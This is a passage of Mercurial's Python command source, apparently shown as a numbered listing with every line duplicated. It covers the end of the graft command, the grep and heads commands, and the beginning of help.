3231 b'skipping revision %d:%s '
3231 b'skipping revision %d:%s '
3232 b'(already grafted to %d:%s)\n'
3232 b'(already grafted to %d:%s)\n'
3233 )
3233 )
3234 % (r, repo[r], rev, ctx)
3234 % (r, repo[r], rev, ctx)
3235 )
3235 )
3236 revs.remove(r)
3236 revs.remove(r)
3237 elif ids[n] in revs:
3237 elif ids[n] in revs:
3238 if r is None:
3238 if r is None:
3239 ui.warn(
3239 ui.warn(
3240 _(
3240 _(
3241 b'skipping already grafted revision %d:%s '
3241 b'skipping already grafted revision %d:%s '
3242 b'(%d:%s also has unknown origin %s)\n'
3242 b'(%d:%s also has unknown origin %s)\n'
3243 )
3243 )
3244 % (ids[n], repo[ids[n]], rev, ctx, n[:12])
3244 % (ids[n], repo[ids[n]], rev, ctx, n[:12])
3245 )
3245 )
3246 else:
3246 else:
3247 ui.warn(
3247 ui.warn(
3248 _(
3248 _(
3249 b'skipping already grafted revision %d:%s '
3249 b'skipping already grafted revision %d:%s '
3250 b'(%d:%s also has origin %d:%s)\n'
3250 b'(%d:%s also has origin %d:%s)\n'
3251 )
3251 )
3252 % (ids[n], repo[ids[n]], rev, ctx, r, n[:12])
3252 % (ids[n], repo[ids[n]], rev, ctx, r, n[:12])
3253 )
3253 )
3254 revs.remove(ids[n])
3254 revs.remove(ids[n])
3255 elif ctx.hex() in ids:
3255 elif ctx.hex() in ids:
3256 r = ids[ctx.hex()]
3256 r = ids[ctx.hex()]
3257 if r in revs:
3257 if r in revs:
3258 ui.warn(
3258 ui.warn(
3259 _(
3259 _(
3260 b'skipping already grafted revision %d:%s '
3260 b'skipping already grafted revision %d:%s '
3261 b'(was grafted from %d:%s)\n'
3261 b'(was grafted from %d:%s)\n'
3262 )
3262 )
3263 % (r, repo[r], rev, ctx)
3263 % (r, repo[r], rev, ctx)
3264 )
3264 )
3265 revs.remove(r)
3265 revs.remove(r)
3266 if not revs:
3266 if not revs:
3267 return -1
3267 return -1
3268
3268
3269 if opts.get('no_commit'):
3269 if opts.get('no_commit'):
3270 statedata[b'no_commit'] = True
3270 statedata[b'no_commit'] = True
3271 if opts.get('base'):
3271 if opts.get('base'):
3272 statedata[b'base'] = opts['base']
3272 statedata[b'base'] = opts['base']
3273 for pos, ctx in enumerate(repo.set(b"%ld", revs)):
3273 for pos, ctx in enumerate(repo.set(b"%ld", revs)):
3274 desc = b'%d:%s "%s"' % (
3274 desc = b'%d:%s "%s"' % (
3275 ctx.rev(),
3275 ctx.rev(),
3276 ctx,
3276 ctx,
3277 ctx.description().split(b'\n', 1)[0],
3277 ctx.description().split(b'\n', 1)[0],
3278 )
3278 )
3279 names = repo.nodetags(ctx.node()) + repo.nodebookmarks(ctx.node())
3279 names = repo.nodetags(ctx.node()) + repo.nodebookmarks(ctx.node())
3280 if names:
3280 if names:
3281 desc += b' (%s)' % b' '.join(names)
3281 desc += b' (%s)' % b' '.join(names)
3282 ui.status(_(b'grafting %s\n') % desc)
3282 ui.status(_(b'grafting %s\n') % desc)
3283 if opts.get('dry_run'):
3283 if opts.get('dry_run'):
3284 continue
3284 continue
3285
3285
3286 source = ctx.extra().get(b'source')
3286 source = ctx.extra().get(b'source')
3287 extra = {}
3287 extra = {}
3288 if source:
3288 if source:
3289 extra[b'source'] = source
3289 extra[b'source'] = source
3290 extra[b'intermediate-source'] = ctx.hex()
3290 extra[b'intermediate-source'] = ctx.hex()
3291 else:
3291 else:
3292 extra[b'source'] = ctx.hex()
3292 extra[b'source'] = ctx.hex()
3293 user = ctx.user()
3293 user = ctx.user()
3294 if opts.get('user'):
3294 if opts.get('user'):
3295 user = opts['user']
3295 user = opts['user']
3296 statedata[b'user'] = user
3296 statedata[b'user'] = user
3297 date = ctx.date()
3297 date = ctx.date()
3298 if opts.get('date'):
3298 if opts.get('date'):
3299 date = opts['date']
3299 date = opts['date']
3300 statedata[b'date'] = date
3300 statedata[b'date'] = date
3301 message = ctx.description()
3301 message = ctx.description()
3302 if opts.get('log'):
3302 if opts.get('log'):
3303 message += b'\n(grafted from %s)' % ctx.hex()
3303 message += b'\n(grafted from %s)' % ctx.hex()
3304 statedata[b'log'] = True
3304 statedata[b'log'] = True
3305
3305
3306 # we don't merge the first commit when continuing
3306 # we don't merge the first commit when continuing
3307 if not cont:
3307 if not cont:
3308 # perform the graft merge with p1(rev) as 'ancestor'
3308 # perform the graft merge with p1(rev) as 'ancestor'
3309 overrides = {(b'ui', b'forcemerge'): opts.get('tool', b'')}
3309 overrides = {(b'ui', b'forcemerge'): opts.get('tool', b'')}
3310 base = ctx.p1() if basectx is None else basectx
3310 base = ctx.p1() if basectx is None else basectx
3311 with ui.configoverride(overrides, b'graft'):
3311 with ui.configoverride(overrides, b'graft'):
3312 stats = mergemod.graft(repo, ctx, base, [b'local', b'graft'])
3312 stats = mergemod.graft(repo, ctx, base, [b'local', b'graft'])
3313 # report any conflicts
3313 # report any conflicts
3314 if stats.unresolvedcount > 0:
3314 if stats.unresolvedcount > 0:
3315 # write out state for --continue
3315 # write out state for --continue
3316 nodes = [repo[rev].hex() for rev in revs[pos:]]
3316 nodes = [repo[rev].hex() for rev in revs[pos:]]
3317 statedata[b'nodes'] = nodes
3317 statedata[b'nodes'] = nodes
3318 stateversion = 1
3318 stateversion = 1
3319 graftstate.save(stateversion, statedata)
3319 graftstate.save(stateversion, statedata)
3320 ui.error(_(b"abort: unresolved conflicts, can't continue\n"))
3320 ui.error(_(b"abort: unresolved conflicts, can't continue\n"))
3321 ui.error(_(b"(use 'hg resolve' and 'hg graft --continue')\n"))
3321 ui.error(_(b"(use 'hg resolve' and 'hg graft --continue')\n"))
3322 return 1
3322 return 1
3323 else:
3323 else:
3324 cont = False
3324 cont = False
3325
3325
3326 # commit if --no-commit is false
3326 # commit if --no-commit is false
3327 if not opts.get('no_commit'):
3327 if not opts.get('no_commit'):
3328 node = repo.commit(
3328 node = repo.commit(
3329 text=message, user=user, date=date, extra=extra, editor=editor
3329 text=message, user=user, date=date, extra=extra, editor=editor
3330 )
3330 )
3331 if node is None:
3331 if node is None:
3332 ui.warn(
3332 ui.warn(
3333 _(b'note: graft of %d:%s created no changes to commit\n')
3333 _(b'note: graft of %d:%s created no changes to commit\n')
3334 % (ctx.rev(), ctx)
3334 % (ctx.rev(), ctx)
3335 )
3335 )
3336 # checking that newnodes exist because old state files won't have it
3336 # checking that newnodes exist because old state files won't have it
3337 elif statedata.get(b'newnodes') is not None:
3337 elif statedata.get(b'newnodes') is not None:
3338 nn = statedata[b'newnodes']
3338 nn = statedata[b'newnodes']
3339 assert isinstance(nn, list) # list of bytes
3339 assert isinstance(nn, list) # list of bytes
3340 nn.append(node)
3340 nn.append(node)
3341
3341
3342 # remove state when we complete successfully
3342 # remove state when we complete successfully
3343 if not opts.get('dry_run'):
3343 if not opts.get('dry_run'):
3344 graftstate.delete()
3344 graftstate.delete()
3345
3345
3346 return 0
3346 return 0
3347
3347
3348
3348
3349 def _stopgraft(ui, repo, graftstate):
3349 def _stopgraft(ui, repo, graftstate):
3350 """stop the interrupted graft"""
3350 """stop the interrupted graft"""
3351 if not graftstate.exists():
3351 if not graftstate.exists():
3352 raise error.StateError(_(b"no interrupted graft found"))
3352 raise error.StateError(_(b"no interrupted graft found"))
3353 pctx = repo[b'.']
3353 pctx = repo[b'.']
3354 mergemod.clean_update(pctx)
3354 mergemod.clean_update(pctx)
3355 graftstate.delete()
3355 graftstate.delete()
3356 ui.status(_(b"stopped the interrupted graft\n"))
3356 ui.status(_(b"stopped the interrupted graft\n"))
3357 ui.status(_(b"working directory is now at %s\n") % pctx.hex()[:12])
3357 ui.status(_(b"working directory is now at %s\n") % pctx.hex()[:12])
3358 return 0
3358 return 0
3359
3359
3360
3360
3361 statemod.addunfinished(
3361 statemod.addunfinished(
3362 b'graft',
3362 b'graft',
3363 fname=b'graftstate',
3363 fname=b'graftstate',
3364 clearable=True,
3364 clearable=True,
3365 stopflag=True,
3365 stopflag=True,
3366 continueflag=True,
3366 continueflag=True,
3367 abortfunc=cmdutil.hgabortgraft,
3367 abortfunc=cmdutil.hgabortgraft,
3368 cmdhint=_(b"use 'hg graft --continue' or 'hg graft --stop' to stop"),
3368 cmdhint=_(b"use 'hg graft --continue' or 'hg graft --stop' to stop"),
3369 )
3369 )
3370
3370
3371
3371
3372 @command(
3372 @command(
3373 b'grep',
3373 b'grep',
3374 [
3374 [
3375 (b'0', b'print0', None, _(b'end fields with NUL')),
3375 (b'0', b'print0', None, _(b'end fields with NUL')),
3376 (b'', b'all', None, _(b'an alias to --diff (DEPRECATED)')),
3376 (b'', b'all', None, _(b'an alias to --diff (DEPRECATED)')),
3377 (
3377 (
3378 b'',
3378 b'',
3379 b'diff',
3379 b'diff',
3380 None,
3380 None,
3381 _(
3381 _(
3382 b'search revision differences for when the pattern was added '
3382 b'search revision differences for when the pattern was added '
3383 b'or removed'
3383 b'or removed'
3384 ),
3384 ),
3385 ),
3385 ),
3386 (b'a', b'text', None, _(b'treat all files as text')),
3386 (b'a', b'text', None, _(b'treat all files as text')),
3387 (
3387 (
3388 b'f',
3388 b'f',
3389 b'follow',
3389 b'follow',
3390 None,
3390 None,
3391 _(
3391 _(
3392 b'follow changeset history,'
3392 b'follow changeset history,'
3393 b' or file history across copies and renames'
3393 b' or file history across copies and renames'
3394 ),
3394 ),
3395 ),
3395 ),
3396 (b'i', b'ignore-case', None, _(b'ignore case when matching')),
3396 (b'i', b'ignore-case', None, _(b'ignore case when matching')),
3397 (
3397 (
3398 b'l',
3398 b'l',
3399 b'files-with-matches',
3399 b'files-with-matches',
3400 None,
3400 None,
3401 _(b'print only filenames and revisions that match'),
3401 _(b'print only filenames and revisions that match'),
3402 ),
3402 ),
3403 (b'n', b'line-number', None, _(b'print matching line numbers')),
3403 (b'n', b'line-number', None, _(b'print matching line numbers')),
3404 (
3404 (
3405 b'r',
3405 b'r',
3406 b'rev',
3406 b'rev',
3407 [],
3407 [],
3408 _(b'search files changed within revision range'),
3408 _(b'search files changed within revision range'),
3409 _(b'REV'),
3409 _(b'REV'),
3410 ),
3410 ),
3411 (
3411 (
3412 b'',
3412 b'',
3413 b'all-files',
3413 b'all-files',
3414 None,
3414 None,
3415 _(
3415 _(
3416 b'include all files in the changeset while grepping (DEPRECATED)'
3416 b'include all files in the changeset while grepping (DEPRECATED)'
3417 ),
3417 ),
3418 ),
3418 ),
3419 (b'u', b'user', None, _(b'list the author (long with -v)')),
3419 (b'u', b'user', None, _(b'list the author (long with -v)')),
3420 (b'd', b'date', None, _(b'list the date (short with -q)')),
3420 (b'd', b'date', None, _(b'list the date (short with -q)')),
3421 ]
3421 ]
3422 + formatteropts
3422 + formatteropts
3423 + walkopts,
3423 + walkopts,
3424 _(b'[--diff] [OPTION]... PATTERN [FILE]...'),
3424 _(b'[--diff] [OPTION]... PATTERN [FILE]...'),
3425 helpcategory=command.CATEGORY_FILE_CONTENTS,
3425 helpcategory=command.CATEGORY_FILE_CONTENTS,
3426 inferrepo=True,
3426 inferrepo=True,
3427 intents={INTENT_READONLY},
3427 intents={INTENT_READONLY},
3428 )
3428 )
3429 def grep(ui, repo, pattern, *pats, **opts):
3429 def grep(ui, repo, pattern, *pats, **opts):
3430 """search for a pattern in specified files
3430 """search for a pattern in specified files
3431
3431
3432 Search the working directory or revision history for a regular
3432 Search the working directory or revision history for a regular
3433 expression in the specified files for the entire repository.
3433 expression in the specified files for the entire repository.
3434
3434
3435 By default, grep searches the repository files in the working
3435 By default, grep searches the repository files in the working
3436 directory and prints the files where it finds a match. To specify
3436 directory and prints the files where it finds a match. To specify
3437 historical revisions instead of the working directory, use the
3437 historical revisions instead of the working directory, use the
3438 --rev flag.
3438 --rev flag.
3439
3439
3440 To search instead historical revision differences that contains a
3440 To search instead historical revision differences that contains a
3441 change in match status ("-" for a match that becomes a non-match,
3441 change in match status ("-" for a match that becomes a non-match,
3442 or "+" for a non-match that becomes a match), use the --diff flag.
3442 or "+" for a non-match that becomes a match), use the --diff flag.
3443
3443
3444 PATTERN can be any Python (roughly Perl-compatible) regular
3444 PATTERN can be any Python (roughly Perl-compatible) regular
3445 expression.
3445 expression.
3446
3446
3447 If no FILEs are specified and the --rev flag isn't supplied, all
3447 If no FILEs are specified and the --rev flag isn't supplied, all
3448 files in the working directory are searched. When using the --rev
3448 files in the working directory are searched. When using the --rev
3449 flag and specifying FILEs, use the --follow argument to also
3449 flag and specifying FILEs, use the --follow argument to also
3450 follow the specified FILEs across renames and copies.
3450 follow the specified FILEs across renames and copies.
3451
3451
3452 .. container:: verbose
3452 .. container:: verbose
3453
3453
3454 Template:
3454 Template:
3455
3455
3456 The following keywords are supported in addition to the common template
3456 The following keywords are supported in addition to the common template
3457 keywords and functions. See also :hg:`help templates`.
3457 keywords and functions. See also :hg:`help templates`.
3458
3458
3459 :change: String. Character denoting insertion ``+`` or removal ``-``.
3459 :change: String. Character denoting insertion ``+`` or removal ``-``.
3460 Available if ``--diff`` is specified.
3460 Available if ``--diff`` is specified.
3461 :lineno: Integer. Line number of the match.
3461 :lineno: Integer. Line number of the match.
3462 :path: String. Repository-absolute path of the file.
3462 :path: String. Repository-absolute path of the file.
3463 :texts: List of text chunks.
3463 :texts: List of text chunks.
3464
3464
3465 And each entry of ``{texts}`` provides the following sub-keywords.
3465 And each entry of ``{texts}`` provides the following sub-keywords.
3466
3466
3467 :matched: Boolean. True if the chunk matches the specified pattern.
3467 :matched: Boolean. True if the chunk matches the specified pattern.
3468 :text: String. Chunk content.
3468 :text: String. Chunk content.
3469
3469
3470 See :hg:`help templates.operators` for the list expansion syntax.
3470 See :hg:`help templates.operators` for the list expansion syntax.
3471
3471
3472 Returns 0 if a match is found, 1 otherwise.
3472 Returns 0 if a match is found, 1 otherwise.
3473
3473
3474 """
3474 """
3475 cmdutil.check_incompatible_arguments(opts, 'all_files', ['all', 'diff'])
3475 cmdutil.check_incompatible_arguments(opts, 'all_files', ['all', 'diff'])
3476 opts = pycompat.byteskwargs(opts)
3476 opts = pycompat.byteskwargs(opts)
3477 diff = opts.get(b'all') or opts.get(b'diff')
3477 diff = opts.get(b'all') or opts.get(b'diff')
3478 follow = opts.get(b'follow')
3478 follow = opts.get(b'follow')
3479 if opts.get(b'all_files') is None and not diff:
3479 if opts.get(b'all_files') is None and not diff:
3480 opts[b'all_files'] = True
3480 opts[b'all_files'] = True
3481 plaingrep = (
3481 plaingrep = (
3482 opts.get(b'all_files')
3482 opts.get(b'all_files')
3483 and not opts.get(b'rev')
3483 and not opts.get(b'rev')
3484 and not opts.get(b'follow')
3484 and not opts.get(b'follow')
3485 )
3485 )
3486 all_files = opts.get(b'all_files')
3486 all_files = opts.get(b'all_files')
3487 if plaingrep:
3487 if plaingrep:
3488 opts[b'rev'] = [b'wdir()']
3488 opts[b'rev'] = [b'wdir()']
3489
3489
3490 reflags = re.M
3490 reflags = re.M
3491 if opts.get(b'ignore_case'):
3491 if opts.get(b'ignore_case'):
3492 reflags |= re.I
3492 reflags |= re.I
3493 try:
3493 try:
3494 regexp = util.re.compile(pattern, reflags)
3494 regexp = util.re.compile(pattern, reflags)
3495 except re.error as inst:
3495 except re.error as inst:
3496 ui.warn(
3496 ui.warn(
3497 _(b"grep: invalid match pattern: %s\n")
3497 _(b"grep: invalid match pattern: %s\n")
3498 % stringutil.forcebytestr(inst)
3498 % stringutil.forcebytestr(inst)
3499 )
3499 )
3500 return 1
3500 return 1
3501 sep, eol = b':', b'\n'
3501 sep, eol = b':', b'\n'
3502 if opts.get(b'print0'):
3502 if opts.get(b'print0'):
3503 sep = eol = b'\0'
3503 sep = eol = b'\0'
3504
3504
3505 searcher = grepmod.grepsearcher(
3505 searcher = grepmod.grepsearcher(
3506 ui, repo, regexp, all_files=all_files, diff=diff, follow=follow
3506 ui, repo, regexp, all_files=all_files, diff=diff, follow=follow
3507 )
3507 )
3508
3508
3509 getfile = searcher._getfile
3509 getfile = searcher._getfile
3510
3510
3511 uipathfn = scmutil.getuipathfn(repo)
3511 uipathfn = scmutil.getuipathfn(repo)
3512
3512
3513 def display(fm, fn, ctx, pstates, states):
3513 def display(fm, fn, ctx, pstates, states):
3514 rev = scmutil.intrev(ctx)
3514 rev = scmutil.intrev(ctx)
3515 if fm.isplain():
3515 if fm.isplain():
3516 formatuser = ui.shortuser
3516 formatuser = ui.shortuser
3517 else:
3517 else:
3518 formatuser = pycompat.bytestr
3518 formatuser = pycompat.bytestr
3519 if ui.quiet:
3519 if ui.quiet:
3520 datefmt = b'%Y-%m-%d'
3520 datefmt = b'%Y-%m-%d'
3521 else:
3521 else:
3522 datefmt = b'%a %b %d %H:%M:%S %Y %1%2'
3522 datefmt = b'%a %b %d %H:%M:%S %Y %1%2'
3523 found = False
3523 found = False
3524
3524
3525 @util.cachefunc
3525 @util.cachefunc
3526 def binary():
3526 def binary():
3527 flog = getfile(fn)
3527 flog = getfile(fn)
3528 try:
3528 try:
3529 return stringutil.binary(flog.read(ctx.filenode(fn)))
3529 return stringutil.binary(flog.read(ctx.filenode(fn)))
3530 except error.WdirUnsupported:
3530 except error.WdirUnsupported:
3531 return ctx[fn].isbinary()
3531 return ctx[fn].isbinary()
3532
3532
3533 fieldnamemap = {b'linenumber': b'lineno'}
3533 fieldnamemap = {b'linenumber': b'lineno'}
3534 if diff:
3534 if diff:
3535 iter = grepmod.difflinestates(pstates, states)
3535 iter = grepmod.difflinestates(pstates, states)
3536 else:
3536 else:
3537 iter = [(b'', l) for l in states]
3537 iter = [(b'', l) for l in states]
3538 for change, l in iter:
3538 for change, l in iter:
3539 fm.startitem()
3539 fm.startitem()
3540 fm.context(ctx=ctx)
3540 fm.context(ctx=ctx)
3541 fm.data(node=fm.hexfunc(scmutil.binnode(ctx)), path=fn)
3541 fm.data(node=fm.hexfunc(scmutil.binnode(ctx)), path=fn)
3542 fm.plain(uipathfn(fn), label=b'grep.filename')
3542 fm.plain(uipathfn(fn), label=b'grep.filename')
3543
3543
3544 cols = [
3544 cols = [
3545 (b'rev', b'%d', rev, not plaingrep, b''),
3545 (b'rev', b'%d', rev, not plaingrep, b''),
3546 (
3546 (
3547 b'linenumber',
3547 b'linenumber',
3548 b'%d',
3548 b'%d',
3549 l.linenum,
3549 l.linenum,
3550 opts.get(b'line_number'),
3550 opts.get(b'line_number'),
3551 b'',
3551 b'',
3552 ),
3552 ),
3553 ]
3553 ]
3554 if diff:
3554 if diff:
3555 cols.append(
3555 cols.append(
3556 (
3556 (
3557 b'change',
3557 b'change',
3558 b'%s',
3558 b'%s',
3559 change,
3559 change,
3560 True,
3560 True,
3561 b'grep.inserted '
3561 b'grep.inserted '
3562 if change == b'+'
3562 if change == b'+'
3563 else b'grep.deleted ',
3563 else b'grep.deleted ',
3564 )
3564 )
3565 )
3565 )
3566 cols.extend(
3566 cols.extend(
3567 [
3567 [
3568 (
3568 (
3569 b'user',
3569 b'user',
3570 b'%s',
3570 b'%s',
3571 formatuser(ctx.user()),
3571 formatuser(ctx.user()),
3572 opts.get(b'user'),
3572 opts.get(b'user'),
3573 b'',
3573 b'',
3574 ),
3574 ),
3575 (
3575 (
3576 b'date',
3576 b'date',
3577 b'%s',
3577 b'%s',
3578 fm.formatdate(ctx.date(), datefmt),
3578 fm.formatdate(ctx.date(), datefmt),
3579 opts.get(b'date'),
3579 opts.get(b'date'),
3580 b'',
3580 b'',
3581 ),
3581 ),
3582 ]
3582 ]
3583 )
3583 )
3584 for name, fmt, data, cond, extra_label in cols:
3584 for name, fmt, data, cond, extra_label in cols:
3585 if cond:
3585 if cond:
3586 fm.plain(sep, label=b'grep.sep')
3586 fm.plain(sep, label=b'grep.sep')
3587 field = fieldnamemap.get(name, name)
3587 field = fieldnamemap.get(name, name)
3588 label = extra_label + (b'grep.%s' % name)
3588 label = extra_label + (b'grep.%s' % name)
3589 fm.condwrite(cond, field, fmt, data, label=label)
3589 fm.condwrite(cond, field, fmt, data, label=label)
3590 if not opts.get(b'files_with_matches'):
3590 if not opts.get(b'files_with_matches'):
3591 fm.plain(sep, label=b'grep.sep')
3591 fm.plain(sep, label=b'grep.sep')
3592 if not opts.get(b'text') and binary():
3592 if not opts.get(b'text') and binary():
3593 fm.plain(_(b" Binary file matches"))
3593 fm.plain(_(b" Binary file matches"))
3594 else:
3594 else:
3595 displaymatches(fm.nested(b'texts', tmpl=b'{text}'), l)
3595 displaymatches(fm.nested(b'texts', tmpl=b'{text}'), l)
3596 fm.plain(eol)
3596 fm.plain(eol)
3597 found = True
3597 found = True
3598 if opts.get(b'files_with_matches'):
3598 if opts.get(b'files_with_matches'):
3599 break
3599 break
3600 return found
3600 return found
3601
3601
3602 def displaymatches(fm, l):
3602 def displaymatches(fm, l):
3603 p = 0
3603 p = 0
3604 for s, e in l.findpos(regexp):
3604 for s, e in l.findpos(regexp):
3605 if p < s:
3605 if p < s:
3606 fm.startitem()
3606 fm.startitem()
3607 fm.write(b'text', b'%s', l.line[p:s])
3607 fm.write(b'text', b'%s', l.line[p:s])
3608 fm.data(matched=False)
3608 fm.data(matched=False)
3609 fm.startitem()
3609 fm.startitem()
3610 fm.write(b'text', b'%s', l.line[s:e], label=b'grep.match')
3610 fm.write(b'text', b'%s', l.line[s:e], label=b'grep.match')
3611 fm.data(matched=True)
3611 fm.data(matched=True)
3612 p = e
3612 p = e
3613 if p < len(l.line):
3613 if p < len(l.line):
3614 fm.startitem()
3614 fm.startitem()
3615 fm.write(b'text', b'%s', l.line[p:])
3615 fm.write(b'text', b'%s', l.line[p:])
3616 fm.data(matched=False)
3616 fm.data(matched=False)
3617 fm.end()
3617 fm.end()
3618
3618
3619 found = False
3619 found = False
3620
3620
3621 wopts = logcmdutil.walkopts(
3621 wopts = logcmdutil.walkopts(
3622 pats=pats,
3622 pats=pats,
3623 opts=opts,
3623 opts=opts,
3624 revspec=opts[b'rev'],
3624 revspec=opts[b'rev'],
3625 include_pats=opts[b'include'],
3625 include_pats=opts[b'include'],
3626 exclude_pats=opts[b'exclude'],
3626 exclude_pats=opts[b'exclude'],
3627 follow=follow,
3627 follow=follow,
3628 force_changelog_traversal=all_files,
3628 force_changelog_traversal=all_files,
3629 filter_revisions_by_pats=not all_files,
3629 filter_revisions_by_pats=not all_files,
3630 )
3630 )
3631 revs, makefilematcher = logcmdutil.makewalker(repo, wopts)
3631 revs, makefilematcher = logcmdutil.makewalker(repo, wopts)
3632
3632
3633 ui.pager(b'grep')
3633 ui.pager(b'grep')
3634 fm = ui.formatter(b'grep', opts)
3634 fm = ui.formatter(b'grep', opts)
3635 for fn, ctx, pstates, states in searcher.searchfiles(revs, makefilematcher):
3635 for fn, ctx, pstates, states in searcher.searchfiles(revs, makefilematcher):
3636 r = display(fm, fn, ctx, pstates, states)
3636 r = display(fm, fn, ctx, pstates, states)
3637 found = found or r
3637 found = found or r
3638 if r and not diff and not all_files:
3638 if r and not diff and not all_files:
3639 searcher.skipfile(fn, ctx.rev())
3639 searcher.skipfile(fn, ctx.rev())
3640 fm.end()
3640 fm.end()
3641
3641
3642 return not found
3642 return not found
3643
3643
3644
3644
3645 @command(
3645 @command(
3646 b'heads',
3646 b'heads',
3647 [
3647 [
3648 (
3648 (
3649 b'r',
3649 b'r',
3650 b'rev',
3650 b'rev',
3651 b'',
3651 b'',
3652 _(b'show only heads which are descendants of STARTREV'),
3652 _(b'show only heads which are descendants of STARTREV'),
3653 _(b'STARTREV'),
3653 _(b'STARTREV'),
3654 ),
3654 ),
3655 (b't', b'topo', False, _(b'show topological heads only')),
3655 (b't', b'topo', False, _(b'show topological heads only')),
3656 (
3656 (
3657 b'a',
3657 b'a',
3658 b'active',
3658 b'active',
3659 False,
3659 False,
3660 _(b'show active branchheads only (DEPRECATED)'),
3660 _(b'show active branchheads only (DEPRECATED)'),
3661 ),
3661 ),
3662 (b'c', b'closed', False, _(b'show normal and closed branch heads')),
3662 (b'c', b'closed', False, _(b'show normal and closed branch heads')),
3663 ]
3663 ]
3664 + templateopts,
3664 + templateopts,
3665 _(b'[-ct] [-r STARTREV] [REV]...'),
3665 _(b'[-ct] [-r STARTREV] [REV]...'),
3666 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3666 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3667 intents={INTENT_READONLY},
3667 intents={INTENT_READONLY},
3668 )
3668 )
3669 def heads(ui, repo, *branchrevs, **opts):
3669 def heads(ui, repo, *branchrevs, **opts):
3670 """show branch heads
3670 """show branch heads
3671
3671
3672 With no arguments, show all open branch heads in the repository.
3672 With no arguments, show all open branch heads in the repository.
3673 Branch heads are changesets that have no descendants on the
3673 Branch heads are changesets that have no descendants on the
3674 same branch. They are where development generally takes place and
3674 same branch. They are where development generally takes place and
3675 are the usual targets for update and merge operations.
3675 are the usual targets for update and merge operations.
3676
3676
3677 If one or more REVs are given, only open branch heads on the
3677 If one or more REVs are given, only open branch heads on the
3678 branches associated with the specified changesets are shown. This
3678 branches associated with the specified changesets are shown. This
3679 means that you can use :hg:`heads .` to see the heads on the
3679 means that you can use :hg:`heads .` to see the heads on the
3680 currently checked-out branch.
3680 currently checked-out branch.
3681
3681
3682 If -c/--closed is specified, also show branch heads marked closed
3682 If -c/--closed is specified, also show branch heads marked closed
3683 (see :hg:`commit --close-branch`).
3683 (see :hg:`commit --close-branch`).
3684
3684
3685 If STARTREV is specified, only those heads that are descendants of
3685 If STARTREV is specified, only those heads that are descendants of
3686 STARTREV will be displayed.
3686 STARTREV will be displayed.
3687
3687
3688 If -t/--topo is specified, named branch mechanics will be ignored and only
3688 If -t/--topo is specified, named branch mechanics will be ignored and only
3689 topological heads (changesets with no children) will be shown.
3689 topological heads (changesets with no children) will be shown.
3690
3690
3691 Returns 0 if matching heads are found, 1 if not.
3691 Returns 0 if matching heads are found, 1 if not.
3692 """
3692 """
3693
3693
3694 opts = pycompat.byteskwargs(opts)
3694 opts = pycompat.byteskwargs(opts)
3695 start = None
3695 start = None
3696 rev = opts.get(b'rev')
3696 rev = opts.get(b'rev')
3697 if rev:
3697 if rev:
3698 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3698 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3699 start = logcmdutil.revsingle(repo, rev, None).node()
3699 start = logcmdutil.revsingle(repo, rev, None).node()
3700
3700
3701 if opts.get(b'topo'):
3701 if opts.get(b'topo'):
3702 heads = [repo[h] for h in repo.heads(start)]
3702 heads = [repo[h] for h in repo.heads(start)]
3703 else:
3703 else:
3704 heads = []
3704 heads = []
3705 for branch in repo.branchmap():
3705 for branch in repo.branchmap():
3706 heads += repo.branchheads(branch, start, opts.get(b'closed'))
3706 heads += repo.branchheads(branch, start, opts.get(b'closed'))
3707 heads = [repo[h] for h in heads]
3707 heads = [repo[h] for h in heads]
3708
3708
3709 if branchrevs:
3709 if branchrevs:
3710 branches = {
3710 branches = {
3711 repo[r].branch() for r in logcmdutil.revrange(repo, branchrevs)
3711 repo[r].branch() for r in logcmdutil.revrange(repo, branchrevs)
3712 }
3712 }
3713 heads = [h for h in heads if h.branch() in branches]
3713 heads = [h for h in heads if h.branch() in branches]
3714
3714
3715 if opts.get(b'active') and branchrevs:
3715 if opts.get(b'active') and branchrevs:
3716 dagheads = repo.heads(start)
3716 dagheads = repo.heads(start)
3717 heads = [h for h in heads if h.node() in dagheads]
3717 heads = [h for h in heads if h.node() in dagheads]
3718
3718
3719 if branchrevs:
3719 if branchrevs:
3720 haveheads = {h.branch() for h in heads}
3720 haveheads = {h.branch() for h in heads}
3721 if branches - haveheads:
3721 if branches - haveheads:
3722 headless = b', '.join(b for b in branches - haveheads)
3722 headless = b', '.join(b for b in branches - haveheads)
3723 msg = _(b'no open branch heads found on branches %s')
3723 msg = _(b'no open branch heads found on branches %s')
3724 if opts.get(b'rev'):
3724 if opts.get(b'rev'):
3725 msg += _(b' (started at %s)') % opts[b'rev']
3725 msg += _(b' (started at %s)') % opts[b'rev']
3726 ui.warn((msg + b'\n') % headless)
3726 ui.warn((msg + b'\n') % headless)
3727
3727
3728 if not heads:
3728 if not heads:
3729 return 1
3729 return 1
3730
3730
3731 ui.pager(b'heads')
3731 ui.pager(b'heads')
3732 heads = sorted(heads, key=lambda x: -(x.rev()))
3732 heads = sorted(heads, key=lambda x: -(x.rev()))
3733 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
3733 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
3734 for ctx in heads:
3734 for ctx in heads:
3735 displayer.show(ctx)
3735 displayer.show(ctx)
3736 displayer.close()
3736 displayer.close()
3737
3737
3738
3738
3739 @command(
3739 @command(
3740 b'help',
3740 b'help',
3741 [
3741 [
3742 (b'e', b'extension', None, _(b'show only help for extensions')),
3742 (b'e', b'extension', None, _(b'show only help for extensions')),
3743 (b'c', b'command', None, _(b'show only help for commands')),
3743 (b'c', b'command', None, _(b'show only help for commands')),
3744 (b'k', b'keyword', None, _(b'show topics matching keyword')),
3744 (b'k', b'keyword', None, _(b'show topics matching keyword')),
3745 (
3745 (
3746 b's',
3746 b's',
3747 b'system',
3747 b'system',
3748 [],
3748 [],
3749 _(b'show help for specific platform(s)'),
3749 _(b'show help for specific platform(s)'),
3750 _(b'PLATFORM'),
3750 _(b'PLATFORM'),
3751 ),
3751 ),
3752 ],
3752 ],
3753 _(b'[-eck] [-s PLATFORM] [TOPIC]'),
3753 _(b'[-eck] [-s PLATFORM] [TOPIC]'),
3754 helpcategory=command.CATEGORY_HELP,
3754 helpcategory=command.CATEGORY_HELP,
3755 norepo=True,
3755 norepo=True,
3756 intents={INTENT_READONLY},
3756 intents={INTENT_READONLY},
3757 )
3757 )
3758 def help_(ui, name=None, **opts):
3758 def help_(ui, name=None, **opts):
3759 """show help for a given topic or a help overview
